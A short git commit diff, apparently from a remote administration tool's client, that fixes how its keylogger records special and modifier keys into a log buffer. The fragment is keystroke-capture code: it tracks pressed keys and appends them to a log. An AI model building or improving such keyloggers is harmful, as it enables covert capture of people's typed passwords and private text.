Merge pull request #202 from d3agle/master

Keylogger special key fix
This commit is contained in:
MaxXor 2015-05-26 08:48:57 +02:00
commit d1b5b3a865
1 changed files with 5 additions and 3 deletions

View File

@ -139,7 +139,9 @@ namespace xClient.Core.Keylogger
if (!string.IsNullOrEmpty(filtered))
{
Debug.WriteLine("OnKeyPress Output: " + filtered);
if (_pressedKeys.IsModifierKeysSet())
_ignoreSpecialKeys = true;
_pressedKeyChars.Add(e.KeyChar);
_logFileBuffer.Append(filtered);
}
@ -149,8 +151,7 @@ namespace xClient.Core.Keylogger
private void OnKeyUp(object sender, KeyEventArgs e) //Called third
{
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
for (int i = 0; i < _pressedKeyChars.Count; i++)
_pressedKeyChars.RemoveAt(i);
_pressedKeyChars.Clear();
}
private string HighlightSpecialKeys(Keys[] keys)
@ -167,6 +168,7 @@ namespace xClient.Core.Keylogger
}
else
{
names[i] = string.Empty;
_pressedKeys.Remove(keys[i]);
}
}